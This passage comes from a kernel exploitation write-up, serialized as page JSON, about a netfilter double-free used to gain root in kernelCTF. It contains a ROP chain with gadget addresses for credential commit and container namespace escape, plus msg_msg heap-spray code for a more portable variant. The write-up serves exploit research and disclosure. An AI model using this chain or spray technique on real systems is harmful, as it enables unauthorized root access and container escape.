",{"type":21,"tag":85,"props":57112,"children":57113},{"style":169},[57114],{"type":26,"value":741},{"type":21,"tag":85,"props":57116,"children":57117},{"style":2285},[57118],{"type":26,"value":19525},{"type":21,"tag":85,"props":57120,"children":57121},{"style":114},[57122],{"type":26,"value":2535},{"type":21,"tag":85,"props":57124,"children":57125},{"class":87,"line":151},[57126],{"type":21,"tag":85,"props":57127,"children":57128},{"emptyLinePlaceholder":16},[57129],{"type":26,"value":703},{"type":21,"tag":85,"props":57131,"children":57132},{"class":87,"line":160},[57133,57137,57142,57146,57150,57154,57158,57162],{"type":21,"tag":85,"props":57134,"children":57135},{"style":120},[57136],{"type":26,"value":56626},{"type":21,"tag":85,"props":57138,"children":57139},{"style":114},[57140],{"type":26,"value":57141},"[pos",{"type":21,"tag":85,"props":57143,"children":57144},{"style":169},[57145],{"type":26,"value":51725},{"type":21,"tag":85,"props":57147,"children":57148},{"style":114},[57149],{"type":26,"value":3026},{"type":21,"tag":85,"props":57151,"children":57152},{"style":169},[57153],{"type":26,"value":741},{"type":21,"tag":85,"props":57155,"children":57156},{"style":114},[57157],{"type":26,"value":56647},{"type":21,"tag":85,"props":57159,"children":57160},{"style":169},[57161],{"type":26,"value":5151},{"type":21,"tag":85,"props":57163,"children":57164},{"style":114},[57165],{"type":26,"value":57166}," __RCU_READ_UNLOCK;\n",{"type":21,"tag":10022,"props":57168,"children":57170},{"id":57169},"rop",[57171],{"type":26,"value":56826},{"type":21,"tag":22,"props":57173,"children":57174},{},[57175],{"type":26,"value":57176},"Most of the ROP chain to escape the container as root is business as usual:",{"type":21,"tag":17108,"props":57178,"children":57179},{},[57180,57191,57202],{"type":21,"tag":845,"props":57181,"children":57182},{},[57183,57189],{"type":21,"tag":66,"props":57184,"children":57186},{"className":57185},[],[57187],{"type":26,"value":57188},"commit_creds(&init_cred);",{"type":26,"value":57190}," Commit root credentials to our process",{"type":21,"tag":845,"props":57192,"children":57193},{},[57194,57200],{"type":21,"tag":66,"props":57195,"children":57197},{"className":57196},[],[57198],{"type":26,"value":57199},"task = find_task_by_vpid(1);",{"type":26,"value":57201}," Find the root process of our namespace",{"type":21,"tag":845,"props":57203,"children":57204},{},[57205,57211],{"type":21,"tag":66,"props":57206,"children":57208},{"className":57207},[],[57209],{"type":26,"value":57210},"switch_task_namespaces(task, &init_nsproxy);",{"type":26,"value":57212}," Move it to the root namespace",{"type":21,"tag":22,"props":57214,"children":57215},{},[57216,57218,57224,57226,57232,57234,57240,57242,57248,57250,57255,57257,57263],{"type":26,"value":57217},"However, I had a hard time finding gadgets to easily move the return value of ",{"type":21,"tag":66,"props":57219,"children":57221},{"className":57220},[],[57222],{"type":26,"value":57223},"find_task_by_vpid(1)",{"type":26,"value":57225}," passed through ",{"type":21,"tag":66,"props":57227,"children":57229},{"className":57228},[],[57230],{"type":26,"value":57231},"rax",{"type":26,"value":57233}," to ",{"type":21,"tag":66,"props":57235,"children":57237},{"className":57236},[],[57238],{"type":26,"value":57239},"rdi",{"type":26,"value":57241},". What I ended up going with was a ",{"type":21,"tag":66,"props":57243,"children":57245},{"className":57244},[],[57246],{"type":26,"value":57247},"push rax; jmp qword ptr [rsi + 0x66]; ret",{"type":26,"value":57249}," gadget, that allowed me to push the ",{"type":21,"tag":66,"props":57251,"children":57253},{"className":57252},[],[57254],{"type":26,"value":57231},{"type":26,"value":57256}," value onto the stack and then jump to a controlled location, where I stored a ",{"type":21,"tag":66,"props":57258,"children":57260},{"className":57259},[],[57261],{"type":26,"value":57262},"pop rdi; ret",{"type":26,"value":57264}," gadget to consume the new stack value and restore normal ROP execution. This very minor detour in the ROP flow looks like this:",{"type":21,"tag":17108,"props":57266,"children":57267},{},[57268,57273,57286],{"type":21,"tag":845,"props":57269,"children":57270},{},[57271],{"type":26,"value":57272},"We push the value onto the stack (stack pointer regresses)",{"type":21,"tag":845,"props":57274,"children":57275},{},[57276,57278,57284],{"type":26,"value":57277},"We jump to our \"trampoline\" gadget (",{"type":21,"tag":66,"props":57279,"children":57281},{"className":57280},[],[57282],{"type":26,"value":57283},"pop rdi; ret;",{"type":26,"value":57285}," location)",{"type":21,"tag":845,"props":57287,"children":57288},{},[57289,57294],{"type":21,"tag":66,"props":57290,"children":57292},{"className":57291},[],[57293],{"type":26,"value":57262},{"type":26,"value":57295}," consumes the value from the stack (progressing the stack pointer back to where it should be), and then we bounce back to the next gadget",{"type":21,"tag":75,"props":57297,"children":57299},{"className":29553,"code":57298,"language":29555,"meta":7,"style":7},"[...]\n    // commit_creds(&init_cred);\n    rop[pos++] = kaslr_slide + 0xffffffff8112c7c0; // pop rdi; ret;\n    rop[pos++] = kaslr_slide + INIT_CRED;\n    rop[pos++] = kaslr_slide + COMMIT_CREDS;\n\n    // task = find_task_by_vpid(1);\n    rop[pos++] = kaslr_slide + 0xffffffff8112c7c0; // pop rdi; ret;\n    rop[pos++] = 1;\n    rop[pos++] = kaslr_slide + FIND_TASK_BY_VPID;\n    rop[pos++] = kaslr_slide + 0xffffffff8102e2a6; // pop rsi; ret;\n    rop[pos++] = obj_ptr + 0xe0 - 0x66;            // rax -> rdi and resume rop\n    rop[pos++] = kaslr_slide + 0xffffffff81caed31; // push rax; jmp qword ptr [rsi + 0x66];\n\n    // switch_task_namespaces(task, &init_nsproxy);\n    rop[pos++] = kaslr_slide + 0xffffffff8102e2a6; // pop rsi; ret;\n    rop[pos++] = kaslr_slide + INIT_NSPROXY;\n    rop[pos++] = kaslr_slide + SWITCH_TASK_NAMESPACES;\n[...]\n",[57300],{"type":21,"tag":66,"props":57301,"children":57302},{"__ignoreMap":7},[57303,57310,57327,57372,57408,57444,57451,57459,57502,57533,57569,57614,57669,57714,57721,57729,57772,57808,57844],{"type":21,"tag":85,"props":57304,"children":57305},{"class":87,"line":88},[57306],{"type":21,"tag":85,"props":57307,"children":57308},{"style":114},[57309],{"type":26,"value":10733},{"type":21,"tag":85,"props":57311,"children":57312},{"class":87,"line":98},[57313,57318,57323],{"type":21,"tag":85,"props":57314,"children":57315},{"style":114},[57316],{"type":26,"value":57317},"    // commit_creds(&",{"type":21,"tag":85,"props":57319,"children":57320},{"style":120},[57321],{"type":26,"value":57322},"init_cred",{"type":21,"tag":85,"props":57324,"children":57325},{"style":114},[57326],{"type":26,"value":777},{"type":21,"tag":85,"props":57328,"children":57329},{"class":87,"line":151},[57330,57334,57338,57342,57346,57350,57354,57358,57363,57367],{"type":21,"tag":85,"props":57331,"children":57332},{"style":120},[57333],{"type":26,"value":56626},{"type":21,"tag":85,"props":57335,"children":57336},{"style":114},[57337],{"type":26,"value":57141},{"type":21,"tag":85,"props":57339,"children":57340},{"style":169},[57341],{"type":26,"value":51725},{"type":21,"tag":85,"props":57343,"children":57344},{"style":114},[57345],{"type":26,"value":3026},{"type":21,"tag":85,"props":57347,"children":57348},{"style":169},[57349],{"type":26,"value":741},{"type":21,"tag":85,"props":57351,"children":57352},{"style":114},[57353],{"type":26,"value":56647},{"type":21,"tag":85,"props":57355,"children":57356},{"style":169},[57357],{"type":26,"value":5151},{"type":21,"tag":85,"props":57359,"children":57360},{"style":2285},[57361],{"type":26,"value":57362}," 0xffffffff8112c7c0",{"type":21,"tag":85,"props":57364,"children":57365},{"style":114},[57366],{"type":26,"value":49529},{"type":21,"tag":85,"props":57368,"children":57369},{"style":92},[57370],{"type":26,"value":57371}," // pop rdi; ret;\n",{"type":21,"tag":85,"props":57373,"children":57374},{"class":87,"line":160},[57375,57379,57383,57387,57391,57395,57399,57403],{"type":21,"tag":85,"props":57376,"children":57377},{"style":120},[57378],{"type":26,"value":56626},{"type":21,"tag":85,"props":57380,"children":57381},{"style":114},[57382],{"type":26,"value":57141},{"type":21,"tag":85,"props":57384,"children":57385},{"style":169},[57386],{"type":26,"value":51725},{"type":21,"tag":85,"props":57388,"children":57389},{"style":114},[57390],{"type":26,"value":3026},{"type":21,"tag":85,"props":57392,"children":57393},{"style":169},[57394],{"type":26,"value":741},{"type":21,"tag":85,"props":57396,"children":57397},{"style":114},[57398],{"type":26,"value":56647},{"type":21,"tag":85,"props":57400,"children":57401},{"style":169},[57402],{"type":26,"value":5151},{"type":21,"tag":85,"props":57404,"children":57405},{"style":114},[57406],{"type":26,"value":57407}," INIT_CRED;\n",{"type":21,"tag":85,"props":57409,"children":57410},{"class":87,"line":185},[57411,57415,57419,57423,57427,57431,57435,57439],{"type":21,"tag":85,"props":57412,"children":57413},{"style":120},[57414],{"type":26,"value":56626},{"type":21,"tag":85,"props":57416,"children":57417},{"style":114},[57418],{"type":26,"value":57141},{"type":21,"tag":85,"props":57420,"children":57421},{"style":169},[57422],{"type":26,"value":51725},{"type":21,"tag":85,"props":57424,"children":57425},{"style":114},[57426],{"type":26,"value":3026},{"type":21,"tag":85,"props":57428,"children":57429},{"style":169},[57430],{"type":26,"value":741},{"type":21,"tag":85,"props":57432,"children":57433},{"style":114},[57434],{"type":26,"value":56647},{"type":21,"tag":85,"props":57436,"children":57437},{"style":169},[57438],{"type":26,"value":5151},{"type":21,"tag":85,"props":57440,"children":57441},{"style":114},[57442],{"type":26,"value":57443}," COMMIT_CREDS;\n",{"type":21,"tag":85,"props":57445,"children":57446},{"class":87,"line":501},[57447],{"type":21,"tag":85,"props":57448,"children":57449},{"emptyLinePlaceholder":16},[57450],{"type":26,"value":703},{"type":21,"tag":85,"props":57452,"children":57453},{"class":87,"line":697},[57454],{"type":21,"tag":85,"props":57455,"children":57456},{"style":92},[57457],{"type":26,"value":57458},"    // task = find_task_by_vpid(1);\n",{"type":21,"tag":85,"props":57460,"children":57461},{"class":87,"line":706},[57462,57466,57470,57474,57478,57482,57486,57490,57494,57498],{"type":21,"tag":85,"props":57463,"children":57464},{"style":120},[57465],{"type":26,"value":56626},{"type":21,"tag":85,"props":57467,"children":57468},{"style":114},[57469],{"type":26,"value":57141},{"type":21,"tag":85,"props":57471,"children":57472},{"style":169},[57473],{"type":26,"value":51725},{"type":21,"tag":85,"props":57475,"children":57476},{"style":114},[57477],{"type":26,"value":3026},{"type":21,"tag":85,"props":57479,"children":57480},{"style":169},[57481],{"type":26,"value":741},{"type":21,"tag":85,"props":57483,"children":57484},{"style":114},[57485],{"type":26,"value":56647},{"type":21,"tag":85,"props":57487,"children":57488},{"style":169},[57489],{"type":26,"value":5151},{"type":21,"tag":85,"props":57491,"children":57492},{"style":2285},[57493],{"type":26,"value":57362},{"type":21,"tag":85,"props":57495,"children":57496},{"style":114},[57497],{"type":26,"value":49529},{"type":21,"tag":85,"props":57499,"children":57500},{"style":92},[57501],{"type":26,"value":57371},{"type":21,"tag":85,"props":57503,"children":57504},{"class":87,"line":1100},[57505,57509,57513,57517,57521,57525,57529],{"type":21,"tag":85,"props":57506,"children":57507},{"style":120},[57508],{"type":26,"value":56626},{"type":21,"tag":85,"props":57510,"children":57511},{"style":114},[57512],{"type":26,"value":57141},{"type":21,"tag":85,"props":57514,"children":57515},{"style":169},[57516],{"type":26,"value":51725},{"type":21,"tag":85,"props":57518,"children":57519},{"style":114},[57520],{"type":26,"value":3026},{"type":21,"tag":85,"props":57522,"children":57523},{"style":169},[57524],{"type":26,"value":741},{"type":21,"tag":85,"props":57526,"children":57527},{"style":2285},[57528],{"type":26,"value":3279},{"type":21,"tag":85,"props":57530,"children":57531},{"style":114},[57532],{"type":26,"value":2535},{"type":21,"tag":85,"props":57534,"children":57535},{"class":87,"line":1339},[57536,57540,57544,57548,57552,57556,57560,57564],{"type":21,"tag":85,"props":57537,"children":57538},{"style":120},[57539],{"type":26,"value":56626},{"type":21,"tag":85,"props":57541,"children":57542},{"style":114},[57543],{"type":26,"value":57141},{"type":21,"tag":85,"props":57545,"children":57546},{"style":169},[57547],{"type":26,"value":51725},{"type":21,"tag":85,"props":57549,"children":57550},{"style":114},[57551],{"type":26,"value":3026},{"type":21,"tag":85,"props":57553,"children":57554},{"style":169},[57555],{"type":26,"value":741},{"type":21,"tag":85,"props":57557,"children":57558},{"style":114},[57559],{"type":26,"value":56647},{"type":21,"tag":85,"props":57561,"children":57562},{"style":169},[57563],{"type":26,"value":5151},{"type":21,"tag":85,"props":57565,"children":57566},{"style":114},[57567],{"type":26,"value":57568}," FIND_TASK_BY_VPID;\n",{"type":21,"tag":85,"props":57570,"children":57571},{"class":87,"line":1348},[57572,57576,57580,57584,57588,57592,57596,57600,57605,57609],{"type":21,"tag":85,"props":57573,"children":57574},{"style":120},[57575],{"type":26,"value":56626},{"type":21,"tag":85,"props":57577,"children":57578},{"style":114},[57579],{"type":26,"value":57141},{"type":21,"tag":85,"props":57581,"children":57582},{"style":169},[57583],{"type":26,"value":51725},{"type":21,"tag":85,"props":57585,"children":57586},{"style":114},[57587],{"type":26,"value":3026},{"type":21,"tag":85,"props":57589,"children":57590},{"style":169},[57591],{"type":26,"value":741},{"type":21,"tag":85,"props":57593,"children":57594},{"style":114},[57595],{"type":26,"value":56647},{"type":21,"tag":85,"props":57597,"children":57598},{"style":169},[57599],{"type":26,"value":5151},{"type":21,"tag":85,"props":57601,"children":57602},{"style":2285},[57603],{"type":26,"value":57604}," 0xffffffff8102e2a6",{"type":21,"tag":85,"props":57606,"children":57607},{"style":114},[57608],{"type":26,"value":49529},{"type":21,"tag":85,"props":57610,"children":57611},{"style":92},[57612],{"type":26,"value":57613}," // pop rsi; ret;\n",{"type":21,"tag":85,"props":57615,"children":57616},{"class":87,"line":1386},[57617,57621,57625,57629,57633,57637,57642,57646,57651,57655,57660,57664],{"type":21,"tag":85,"props":57618,"children":57619},{"style":120},[57620],{"type":26,"value":56626},{"type":21,"tag":85,"props":57622,"children":57623},{"style":114},[57624],{"type":26,"value":57141},{"type":21,"tag":85,"props":57626,"children":57627},{"style":169},[57628],{"type":26,"value":51725},{"type":21,"tag":85,"props":57630,"children":57631},{"style":114},[57632],{"type":26,"value":3026},{"type":21,"tag":85,"props":57634,"children":57635},{"style":169},[57636],{"type":26,"value":741},{"type":21,"tag":85,"props":57638,"children":57639},{"style":114},[57640],{"type":26,"value":57641}," obj_ptr ",{"type":21,"tag":85,"props":57643,"children":57644},{"style":169},[57645],{"type":26,"value":5151},{"type":21,"tag":85,"props":57647,"children":57648},{"style":2285},[57649],{"type":26,"value":57650}," 0xe0",{"type":21,"tag":85,"props":57652,"children":57653},{"style":169},[57654],{"type":26,"value":51711},{"type":21,"tag":85,"props":57656,"children":57657},{"style":2285},[57658],{"type":26,"value":57659}," 0x66",{"type":21,"tag":85,"props":57661,"children":57662},{"style":114},[57663],{"type":26,"value":49529},{"type":21,"tag":85,"props":57665,"children":57666},{"style":92},[57667],{"type":26,"value":57668},"            // rax -> rdi and resume rop\n",{"type":21,"tag":85,"props":57670,"children":57671},{"class":87,"line":1394},[57672,57676,57680,57684,57688,57692,57696,57700,57705,57709],{"type":21,"tag":85,"props":57673,"children":57674},{"style":120},[57675],{"type":26,"value":56626},{"type":21,"tag":85,"props":57677,"children":57678},{"style":114},[57679],{"type":26,"value":57141},{"type":21,"tag":85,"props":57681,"children":57682},{"style":169},[57683],{"type":26,"value":51725},{"type":21,"tag":85,"props":57685,"children":57686},{"style":114},[57687],{"type":26,"value":3026},{"type":21,"tag":85,"props":57689,"children":57690},{"style":169},[57691],{"type":26,"value":741},{"type":21,"tag":85,"props":57693,"children":57694},{"style":114},[57695],{"type":26,"value":56647},{"type":21,"tag":85,"props":57697,"children":57698},{"style":169},[57699],{"type":26,"value":5151},{"type":21,"tag":85,"props":57701,"children":57702},{"style":2285},[57703],{"type":26,"value":57704}," 0xffffffff81caed31",{"type":21,"tag":85,"props":57706,"children":57707},{"style":114},[57708],{"type":26,"value":49529},{"type":21,"tag":85,"props":57710,"children":57711},{"style":92},[57712],{"type":26,"value":57713}," // push rax; jmp qword ptr [rsi + 0x66];\n",{"type":21,"tag":85,"props":57715,"children":57716},{"class":87,"line":1402},[57717],{"type":21,"tag":85,"props":57718,"children":57719},{"emptyLinePlaceholder":16},[57720],{"type":26,"value":703},{"type":21,"tag":85,"props":57722,"children":57723},{"class":87,"line":3145},[57724],{"type":21,"tag":85,"props":57725,"children":57726},{"style":92},[57727],{"type":26,"value":57728},"    // switch_task_namespaces(task, &init_nsproxy);\n",{"type":21,"tag":85,"props":57730,"children":57731},{"class":87,"line":3246},[57732,57736,57740,57744,57748,57752,57756,57760,57764,57768],{"type":21,"tag":85,"props":57733,"children":57734},{"style":120},[57735],{"type":26,"value":56626},{"type":21,"tag":85,"props":57737,"children":57738},{"style":114},[57739],{"type":26,"value":57141},{"type":21,"tag":85,"props":57741,"children":57742},{"style":169},[57743],{"type":26,"value":51725},{"type":21,"tag":85,"props":57745,"children":57746},{"style":114},[57747],{"type":26,"value":3026},{"type":21,"tag":85,"props":57749,"children":57750},{"style":169},[57751],{"type":26,"value":741},{"type":21,"tag":85,"props":57753,"children":57754},{"style":114},[57755],{"type":26,"value":56647},{"type":21,"tag":85,"props":57757,"children":57758},{"style":169},[57759],{"type":26,"value":5151},{"type":21,"tag":85,"props":57761,"children":57762},{"style":2285},[57763],{"type":26,"value":57604},{"type":21,"tag":85,"props":57765,"children":57766},{"style":114},[57767],{"type":26,"value":49529},{"type":21,"tag":85,"props":57769,"children":57770},{"style":92},[57771],{"type":26,"value":57613},{"type":21,"tag":85,"props":57773,"children":57774},{"class":87,"line":3255},[57775,57779,57783,57787,57791,57795,57799,57803],{"type":21,"tag":85,"props":57776,"children":57777},{"style":120},[57778],{"type":26,"value":56626},{"type":21,"tag":85,"props":57780,"children":57781},{"style":114},[57782],{"type":26,"value":57141},{"type":21,"tag":85,"props":57784,"children":57785},{"style":169},[57786],{"type":26,"value":51725},{"type":21,"tag":85,"props":57788,"children":57789},{"style":114},[57790],{"type":26,"value":3026},{"type":21,"tag":85,"props":57792,"children":57793},{"style":169},[57794],{"type":26,"value":741},{"type":21,"tag":85,"props":57796,"children":57797},{"style":114},[57798],{"type":26,"value":56647},{"type":21,"tag":85,"props":57800,"children":57801},{"style":169},[57802],{"type":26,"value":5151},{"type":21,"tag":85,"props":57804,"children":57805},{"style":114},[57806],{"type":26,"value":57807}," INIT_NSPROXY;\n",{"type":21,"tag":85,"props":57809,"children":57810},{"class":87,"line":3286},[57811,57815,57819,57823,57827,57831,57835,57839],{"type":21,"tag":85,"props":57812,"children":57813},{"style":120},[57814],{"type":26,"value":56626},{"type":21,"tag":85,"props":57816,"children":57817},{"style":114},[57818],{"type":26,"value":57141},{"type":21,"tag":85,"props":57820,"children":57821},{"style":169},[57822],{"type":26,"value":51725},{"type":21,"tag":85,"props":57824,"children":57825},{"style":114},[57826],{"type":26,"value":3026},{"type":21,"tag":85,"props":57828,"children":57829},{"style":169},[57830],{"type":26,"value":741},{"type":21,"tag":85,"props":57832,"children":57833},{"style":114},[57834],{"type":26,"value":56647},{"type":21,"tag":85,"props":57836,"children":57837},{"style":169},[57838],{"type":26,"value":5151},{"type":21,"tag":85,"props":57840,"children":57841},{"style":114},[57842],{"type":26,"value":57843}," SWITCH_TASK_NAMESPACES;\n",{"type":21,"tag":85,"props":57845,"children":57846},{"class":87,"line":3295},[57847],{"type":21,"tag":85,"props":57848,"children":57849},{"style":114},[57850],{"type":26,"value":10733},{"type":21,"tag":10022,"props":57852,"children":57854},{"id":57853},"grabbing-the-kernelctf-flag",[57855],{"type":26,"value":57856},"Grabbing the kernelCTF flag",{"type":21,"tag":22,"props":57858,"children":57859},{},[57860,57864,57866,57873],{"type":21,"tag":4681,"props":57861,"children":57863},{"alt":51034,"src":57862},"/posts/netfilter-universal-root-1-day/flag.png",[],{"type":26,"value":57865},"\nYou can find the kernelCTF exploit in our ",{"type":21,"tag":335,"props":57867,"children":57870},{"href":57868,"rel":57869},"https://github.com/otter-sec/OtterRoot/blob/master/kernelctf/exploit.c",[339],[57871],{"type":26,"value":57872},"GitHub",{"type":26,"value":73},{"type":21,"tag":54,"props":57875,"children":57877},{"id":57876},"universal-exploit",[57878],{"type":26,"value":57879},"Universal exploit",{"type":21,"tag":22,"props":57881,"children":57882},{},[57883],{"type":26,"value":57884},"After exploiting KernelCTF, I decided to use this vulnerability to craft a universal exploit (one that works stably regardless of the target without needing to be modified). I took a different approach to avoid some compatibility and reliability pitfalls, the biggest ones being ROP and anything else that relies on kernel data offsets because those change from build to build. It's not uncommon to compile a list of gadgets for the different builds but it makes more sense just to avoid the trouble entirely.",{"type":21,"tag":10022,"props":57886,"children":57888},{"id":57887},"pivot-capability-using-msg_msg-mlistnext-pointer",[57889],{"type":26,"value":57890},"Pivot capability using msg_msg->mlist.next pointer",{"type":21,"tag":22,"props":57892,"children":57893},{},[57894,57896,57902,57904,57909,57911,57917],{"type":26,"value":57895},"Using the double-free vulnerability we can overlap a ",{"type":21,"tag":66,"props":57897,"children":57899},{"className":57898},[],[57900],{"type":26,"value":57901},"msg_msg",{"type":26,"value":57903}," object with with ",{"type":21,"tag":66,"props":57905,"children":57907},{"className":57906},[],[57908],{"type":26,"value":55555},{"type":26,"value":57910}," and control the ",{"type":21,"tag":66,"props":57912,"children":57914},{"className":57913},[],[57915],{"type":26,"value":57916},"m_list.next",{"type":26,"value":57918}," pointer.",{"type":21,"tag":75,"props":57920,"children":57922},{"className":29553,"code":57921,"language":29555,"meta":7,"style":7},"/* one msg_msg structure for each message */\nstruct msg_msg {\n struct list_head m_list;\n long m_type;\n size_t m_ts;  /* message text size */\n struct msg_msgseg *next;\n void *security;\n /* the actual message follows immediately */\n};\n[...]\nstruct list_head {\n struct list_head *next, *prev;\n};\n",[57923],{"type":21,"tag":66,"props":57924,"children":57925},{"__ignoreMap":7},[57926,57934,57950,57971,57984,58002,58027,58043,58051,58058,58065,58073,58105],{"type":21,"tag":85,"props":57927,"children":57928},{"class":87,"line":88},[57929],{"type":21,"tag":85,"props":57930,"children":57931},{"style":92},[57932],{"type":26,"value":57933},"/* one msg_msg structure for each message */\n",{"type":21,"tag":85,"props":57935,"children":57936},{"class":87,"line":98},[57937,57941,57946],{"type":21,"tag":85,"props":57938,"children":57939},{"style":102},[57940],{"type":26,"value":9814},{"type":21,"tag":85,"props":57942,"children":57943},{"style":108},[57944],{"type":26,"value":57945}," msg_msg",{"type":21,"tag":85,"props":57947,"children":57948},{"style":114},[57949],{"type":26,"value":148},{"type":21,"tag":85,"props":57951,"children":57952},{"class":87,"line":151},[57953,57957,57962,57967],{"type":21,"tag":85,"props":57954,"children":57955},{"style":102},[57956],{"type":26,"value":21579},{"type":21,"tag":85,"props":57958,"children":57959},{"style":108},[57960],{"type":26,"value":57961}," list_head",{"type":21,"tag":85,"props":57963,"children":57964},{"style":120},[57965],{"type":26,"value":57966}," m_list",{"type":21,"tag":85,"props":57968,"children":57969},{"style":114},[57970],{"type":26,"value":2535},{"type":21,"tag":85,"props":57972,"children":57973},{"class":87,"line":160},[57974,57979],{"type":21,"tag":85,"props":57975,"children":57976},{"style":102},[57977],{"type":26,"value":57978}," long",{"type":21,"tag":85,"props":57980,"children":57981},{"style":114},[57982],{"type":26,"value":57983}," m_type;\n",{"type":21,"tag":85,"props":57985,"children":57986},{"class":87,"line":185},[57987,57992,57997],{"type":21,"tag":85,"props":57988,"children":57989},{"style":102},[57990],{"type":26,"value":57991}," size_t",{"type":21,"tag":85,"props":57993,"children":57994},{"style":114},[57995],{"type":26,"value":57996}," m_ts;",{"type":21,"tag":85,"props":57998,"children":57999},{"style":92},[58000],{"type":26,"value":58001},"  /* message text size */\n",{"type":21,"tag":85,"props":58003,"children":58004},{"class":87,"line":501},[58005,58009,58014,58018,58023],{"type":21,"tag":85,"props":58006,"children":58007},{"style":102},[58008],{"type":26,"value":21579},{"type":21,"tag":85,"props":58010,"children":58011},{"style":108},[58012],{"type":26,"value":58013}," msg_msgseg",{"type":21,"tag":85,"props":58015,"children":58016},{"style":102},[58017],{"type":26,"value":10231},{"type":21,"tag":85,"props":58019,"children":58020},{"style":120},[58021],{"type":26,"value":58022},"next",{"type":21,"tag":85,"props":58024,"children":58025},{"style":114},[58026],{"type":26,"value":2535},{"type":21,"tag":85,"props":58028,"children":58029},{"class":87,"line":697},[58030,58034,58038],{"type":21,"tag":85,"props":58031,"children":58032},{"style":102},[58033],{"type":26,"value":51505},{"type":21,"tag":85,"props":58035,"children":58036},{"style":169},[58037],{"type":26,"value":10231},{"type":21,"tag":85,"props":58039,"children":58040},{"style":114},[58041],{"type":26,"value":58042},"security;\n",{"type":21,"tag":85,"props":58044,"children":58045},{"class":87,"line":706},[58046],{"type":21,"tag":85,"props":58047,"children":58048},{"style":92},[58049],{"type":26,"value":58050}," /* the actual message follows immediately */\n",{"type":21,"tag":85,"props":58052,"children":58053},{"class":87,"line":1100},[58054],{"type":21,"tag":85,"props":58055,"children":58056},{"style":114},[58057],{"type":26,"value":16998},{"type":21,"tag":85,"props":58059,"children":58060},{"class":87,"line":1339},[58061],{"type":21,"tag":85,"props":58062,"children":58063},{"style":114},[58064],{"type":26,"value":10733},{"type":21,"tag":85,"props":58066,"children":58067},{"class":87,"line":1348},[58068],{"type":21,"tag":85,"props":58069,"children":58070},{"style":114},[58071],{"type":26,"value":58072},"struct list_head {\n",{"type":21,"tag":85,"props":58074,"children":58075},{"class":87,"line":1386},[58076,58080,58084,58088,58092,58096,58100],{"type":21,"tag":85,"props":58077,"children":58078},{"style":102},[58079],{"type":26,"value":21579},{"type":21,"tag":85,"props":58081,"children":58082},{"style":108},[58083],{"type":26,"value":57961},{"type":21,"tag":85,"props":58085,"children":58086},{"style":102},[58087],{"type":26,"value":10231},{"type":21,"tag":85,"props":58089,"children":58090},{"style":120},[58091],{"type":26,"value":58022},{"type":21,"tag":85,"props":58093,"children":58094},{"style":114},[58095],{"type":26,"value":256},{"type":21,"tag":85,"props":58097,"children":58098},{"style":169},[58099],{"type":26,"value":3052},{"type":21,"tag":85,"props":58101,"children":58102},{"style":114},[58103],{"type":26,"value":58104},"prev;\n",{"type":21,"tag":85,"props":58106,"children":58107},{"class":87,"line":1394},[58108],{"type":21,"tag":85,"props":58109,"children":58110},{"style":114},[58111],{"type":26,"value":16998},{"type":21,"tag":22,"props":58113,"children":58114},{},[58115,58117,58123,58125,58130],{"type":26,"value":58116},"This is particularly interesting if we send messages of different sizes on the same queue, making the ",{"type":21,"tag":66,"props":58118,"children":58120},{"className":58119},[],[58121],{"type":26,"value":58122},"mlist.next",{"type":26,"value":58124}," pointer of a message that lives in one cache point into a different cache. So, by spraying ",{"type":21,"tag":66,"props":58126,"children":58128},{"className":58127},[],[58129],{"type":26,"value":57901},{"type":26,"value":58131}," in kmalloc-cg-256 with a secondary message in each queue living in kmalloc-cg-1k.",{"type":21,"tag":22,"props":58133,"children":58134},{},[58135,58137,58142,58144],{"type":26,"value":58136},"By incrementing the next pointer of our controllable ",{"type":21,"tag":66,"props":58138,"children":58140},{"className":58139},[],[58141],{"type":26,"value":57901},{"type":26,"value":58143}," by 256, we are able to make it point to the different secondary message that is already referenced by a different primary message, creating a duplicated reference. We allow an easy way of pivoting our double-free capabilities to other caches and attacking a greater variety of objects.\n",{"type":21,"tag":4681,"props":58145,"children":58147},{"alt":51034,"src":58146},"/posts/netfilter-universal-root-1-day/msg-msg.png",[],{"type":21,"tag":75,"props":58149,"children":58151},{"className":29553,"code":58150,"language":29555,"meta":7,"style":7},"[...]\n    // Spray msg_msg in kmalloc-256 and kmalloc-1k\n    msg_t *msg = calloc(1, sizeof(msg_t) + 0xe8 - 48);\n    int qid[SPRAY];\n    for (int i = 0; i \u003C SPRAY; i++)\n    {\n        qid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);\n        if (qid[i] \u003C 0)\n        {\n            perror(\"[-] msgget\");\n        }\n        *(uint32_t *)msg->mtext = i;\n        *(uint64_t *)&msg->mtext[8] = 0xdeadbeefcafebabe;\n        msg->mtype = MTYPE_PRIMARY;\n        msgsnd(qid[i], msg, 0xe8 - 48, 0);\n        msg->mtype = MTYPE_SECONDARY;\n        msgsnd(qid[i], msg, 1024 - 48, 0);\n    }\n    // Prepare evil msg\n    int evilqid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);\n    if (evilqid \u003C 0)\n    {\n        perror(\"[-] msgget\");\n    }\n[...] // trigger double-free in kmalloc-256\n",[58152],{"type":21,"tag":66,"props":58153,"children":58154},{"__ignoreMap":7},[58155,58162,58170,58196,58213,58261,58268,58308,58340,58347,58368,58375,58422,58486,58512,58558,58582,58626,58633,58641,58677,58701,58708,58728,58735],{"type":21,"tag":85,"props":58156,"children":58157},{"class":87,"line":88},[58158],{"type":21,"tag":85,"props":58159,"children":58160},{"style":114},[58161],{"type":26,"value":10733},{"type":21,"tag":85,"props":58163,"children":58164},{"class":87,"line":98},[58165],{"type":21,"tag":85,"props":58166,"children":58167},{"style":114},[58168],{"type":26,"value":58169},"    // Spray msg_msg in kmalloc-256 and kmalloc-1k\n",{"type":21,"tag":85,"props":58171,"children":58172},{"class":87,"line":151},[58173,58178,58182,58186,58191],{"type":21,"tag":85,"props":58174,"children":58175},{"style":114},[58176],{"type":26,"value":58177},"    msg_t *msg = calloc(1, ",{"type":21,"tag":85,"props":58179,"children":58180},{"style":108},[58181],{"type":26,"value":55784},{"type":21,"tag":85,"props":58183,"children":58184},{"style":114},[58185],{"type":26,"value":1439},{"type":21,"tag":85,"props":58187,"children":58188},{"style":108},[58189],{"type":26,"value":58190},"msg_t",{"type":21,"tag":85,"props":58192,"children":58193},{"style":114},[58194],{"type":26,"value":58195},") + 0xe8 - 48);\n",{"type":21,"tag":85,"props":58197,"children":58198},{"class":87,"line":160},[58199,58203,58208],{"type":21,"tag":85,"props":58200,"children":58201},{"style":102},[58202],{"type":26,"value":19503},{"type":21,"tag":85,"props":58204,"children":58205},{"style":120},[58206],{"type":26,"value":58207}," 